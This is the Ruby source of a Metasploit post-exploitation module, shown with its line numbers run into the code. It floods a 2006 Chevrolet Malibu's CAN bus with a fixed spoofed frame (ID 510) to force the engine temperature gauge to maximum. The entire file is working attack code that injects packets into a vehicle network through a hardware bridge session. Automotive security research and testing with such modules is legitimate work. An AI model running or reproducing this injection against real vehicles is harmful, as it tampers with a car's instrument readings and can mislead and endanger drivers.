Path: blob/master/modules/post/hardware/automotive/malibu_overheat.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Sample Module to Flood Temp Gauge on 2006 Malibu',12'Description' => %q{Simple sample temp flood for the 2006 Malibu.},13'License' => MSF_LICENSE,14'Author' => ['Craig Smith'],15'Platform' => ['hardware'],16'SessionTypes' => ['hwbridge'],17'Notes' => {18'Stability' => [SERVICE_RESOURCE_LOSS],19'SideEffects' => [SCREEN_EFFECTS],20'Reliability' => []21}22)23)24register_options([25OptInt.new('PACKET_COUNT', [false, 'How many packets to send before stopping', 200]),26OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])27])28end2930def run31unless client.automotive32print_error('The hwbridge requires a functional automotive extention')33return34end35print_status('Forcing Engine Temp to max...')36(0..datastore['PACKET_COUNT']).each do |_cnt|37client.automotive.cansend(datastore['CANBUS'], '510', '10AD013CF048120B')38end39end40end414243